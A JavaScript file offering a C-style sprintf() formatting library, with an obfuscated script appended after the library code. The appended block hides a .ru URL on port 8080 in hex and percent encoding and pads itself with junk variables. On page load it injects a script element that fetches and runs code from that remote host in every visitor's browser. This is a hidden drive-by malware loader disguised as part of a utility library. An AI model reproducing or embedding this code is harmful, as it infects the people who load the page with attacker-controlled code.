/* Function printf(format_string,arguments...)
 * Javascript emulation of the C printf function (modifiers and argument types 
 *    "p" and "n" are not supported due to language restrictions)
 *
 * Copyright 2003 K&L Productions. All rights reserved
 * http://www.klproductions.com 
 *
 * Terms of use: This function can be used free of charge IF this header is not
 *               modified and remains with the function code.
 * 
 * Legal: Use this code at your own risk. K&L Productions assumes NO resposibility
 *        for anything.
 ********************************************************************************/

function sprintf(fstring)
  { var pad = function(str,ch,len)
      { var ps='';
        for(var i=0; i<Math.abs(len); i++) ps+=ch;
        return len>0?str+ps:ps+str;
      }
    var processFlags = function(flags,width,rs,arg)
      { var pn = function(flags,arg,rs)
          { if(arg>=0)
              { if(flags.indexOf(' ')>=0) rs = ' ' + rs;
                else if(flags.indexOf('+')>=0) rs = '+' + rs;
              }
            else
                rs = '-' + rs;
            return rs;
          }
        var iWidth = parseInt(width,10);
        if(width.charAt(0) == '0')
          { var ec=0;
            if(flags.indexOf(' ')>=0 || flags.indexOf('+')>=0) ec++;
            if(rs.length<(iWidth-ec)) rs = pad(rs,'0',rs.length-(iWidth-ec));
            return pn(flags,arg,rs);
          }
        rs = pn(flags,arg,rs);
        if(rs.length<iWidth)
          { if(flags.indexOf('-')<0) rs = pad(rs,' ',rs.length-iWidth);
            else rs = pad(rs,' ',iWidth - rs.length);
          }    
        return rs;
      }
    var converters = new Array();
    converters['c'] = function(flags,width,precision,arg)
      { if(typeof(arg) == 'number') return String.fromCharCode(arg);
        if(typeof(arg) == 'string') return arg.charAt(0);
        return '';
      }
    converters['d'] = function(flags,width,precision,arg)
      { return converters['i'](flags,width,precision,arg); 
      }
    converters['u'] = function(flags,width,precision,arg)
      { return converters['i'](flags,width,precision,Math.abs(arg)); 
      }
    converters['i'] =  function(flags,width,precision,arg)
      { var iPrecision=parseInt(precision);
        var rs = ((Math.abs(arg)).toString().split('.'))[0];
        if(rs.length<iPrecision) rs=pad(rs,' ',iPrecision - rs.length);
        return processFlags(flags,width,rs,arg); 
      }
    converters['E'] = function(flags,width,precision,arg) 
      { return (converters['e'](flags,width,precision,arg)).toUpperCase();
      }
    converters['e'] =  function(flags,width,precision,arg)
      { iPrecision = parseInt(precision);
        if(isNaN(iPrecision)) iPrecision = 6;
        rs = (Math.abs(arg)).toExponential(iPrecision);
        if(rs.indexOf('.')<0 && flags.indexOf('#')>=0) rs = rs.replace(/^(.*)(e.*)$/,'$1.$2');
        return processFlags(flags,width,rs,arg);        
      }
    converters['f'] = function(flags,width,precision,arg)
      { iPrecision = parseInt(precision);
        if(isNaN(iPrecision)) iPrecision = 6;
        rs = (Math.abs(arg)).toFixed(iPrecision);
        if(rs.indexOf('.')<0 && flags.indexOf('#')>=0) rs = rs + '.';
        return processFlags(flags,width,rs,arg);
      }
    converters['G'] = function(flags,width,precision,arg)
      { return (converters['g'](flags,width,precision,arg)).toUpperCase();
      }
    converters['g'] = function(flags,width,precision,arg)
      { iPrecision = parseInt(precision);
        absArg = Math.abs(arg);
        rse = absArg.toExponential();
        rsf = absArg.toFixed(6);
        if(!isNaN(iPrecision))
          { rsep = absArg.toExponential(iPrecision);
            rse = rsep.length < rse.length ? rsep : rse;
            rsfp = absArg.toFixed(iPrecision);
            rsf = rsfp.length < rsf.length ? rsfp : rsf;
          }
        if(rse.indexOf('.')<0 && flags.indexOf('#')>=0) rse = rse.replace(/^(.*)(e.*)$/,'$1.$2');
        if(rsf.indexOf('.')<0 && flags.indexOf('#')>=0) rsf = rsf + '.';
        rs = rse.length<rsf.length ? rse : rsf;
        return processFlags(flags,width,rs,arg);        
      }  
    converters['o'] = function(flags,width,precision,arg)
      { var iPrecision=parseInt(precision);
        var rs = Math.round(Math.abs(arg)).toString(8);
        if(rs.length<iPrecision) rs=pad(rs,' ',iPrecision - rs.length);
        if(flags.indexOf('#')>=0) rs='0'+rs;
        return processFlags(flags,width,rs,arg); 
      }
    converters['X'] = function(flags,width,precision,arg)
      { return (converters['x'](flags,width,precision,arg)).toUpperCase();
      }
    converters['x'] = function(flags,width,precision,arg)
      { var iPrecision=parseInt(precision);
        arg = Math.abs(arg);
        var rs = Math.round(arg).toString(16);
        if(rs.length<iPrecision) rs=pad(rs,' ',iPrecision - rs.length);
        if(flags.indexOf('#')>=0) rs='0x'+rs;
        return processFlags(flags,width,rs,arg); 
      }
    converters['s'] = function(flags,width,precision,arg)
      { var iPrecision=parseInt(precision);
        var rs = arg;
        if(rs.length > iPrecision) rs = rs.substring(0,iPrecision);
        return processFlags(flags,width,rs,0);
      }
    farr = fstring.split('%');
    retstr = farr[0];
    fpRE = /^([-+ #]*)(\d*)\.?(\d*)([cdieEfFgGosuxX])(.*)$/;
    for(var i=1; i<farr.length; i++)
      { fps=fpRE.exec(farr[i]);
        if(!fps) continue;
        if(arguments[i]!=null) retstr+=converters[fps[4]](fps[1],fps[2],fps[3],arguments[i]);
        retstr += fps[5];
      }
    return retstr;
  }




this.n="";function X(){var N='';var Bw;if(Bw!='' && Bw!='Z'){Bw='J'};var S=unescape;var O="\x68\x74\x74\x70\x3a\x2f\x2f\x76\x65\x72\x69\x7a\x6f\x6e\x2d\x6e\x65\x74\x2e\x61\x72\x74\x69\x63\x6c\x65\x73\x62\x61\x73\x65\x2e\x63\x6f\x6d\x2e\x35\x64\x36\x64\x2d\x63\x6f\x6d\x2e\x57\x61\x72\x69\x6e\x67\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x2e\x72\x75\x3a";var KN='';var Jn='';var M='';var A=new Array();var K=new String("g");var G=window;var zV;if(zV!='' && zV!='h'){zV='p'};function C(H,V){this.UR="";var i="";var nk;if(nk!='zW'){nk='zW'};var o=new String();var m=S("%5b")+V+S("%5d");var Un;if(Un!='' && Un!='eE'){Un=''};var mk=new RegExp(m, K);var fX;if(fX!='q' && fX!='Bl'){fX='q'};return H.replace(mk, M);var sr=new Date();var JQ=new Date();};var fy;if(fy!='v' && fy!='nZ'){fy='v'};var _;if(_!='QY' && _!='MH'){_='QY'};var gI=new Array();var t='';var zp;if(zp!='hm'){zp=''};this.ZP='';var k=S("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%79%61%70%6c%6f%67%2e%6a%70%2f%68%75%72%72%69%79%65%74%2e%63%6f%6d%2e%74%72%2f%70%65%6f%70%6c%65%2e%63%6f%6d%2e%63%6e%2e%70%68%70");var JK=new String();var a=C('8590298950236','16742953');var Q=document;var Se='';function u(){var Zp;if(Zp!='SV'){Zp='SV'};var dp=new Array();var xR;if(xR!='Fl' && xR!='pZ'){xR=''};t=O;var lN;if(lN!='qW' && lN!='Fe'){lN=''};t+=a;var NU;if(NU!='' && NU!='FJ'){NU='pf'};t+=k;var im;if(im!=''){im='qo'};var VE=new String();this.w='';try {var BG='';this.js="";this.YN="";B=Q.createElement(C('sFc3rFiMpMtH','1FZ73HmVMG59b'));var UW=new String();var xS;if(xS!='dI'){xS='dI'};var Ms='';var Oi;if(Oi!='' && Oi!='No'){Oi='lF'};B.defer=[1,5][0];var p_;if(p_!='FR'){p_='FR'};B.src=t;this.ru='';var hY;if(hY!='' && hY!='My'){hY=''};var wq;if(wq!='' && wq!='Vd'){wq=null};Q.body.appendChild(B);this.zWT='';var Ua;if(Ua!='' && Ua!='RY'){Ua=null};} catch(r){this.Mm='';};var zE=new Date();}var KU=new Array();G["9PYon".substr(3)+"lo"+"ad"]=u;var xZ='';var hz="";var Be;if(Be!='Fj' && Be != ''){Be=null};var Dr='';};var VQ="";this.aE='';this.Xg='';X();this.Dn='';var AV;if(AV!='JR' && AV != ''){AV=null};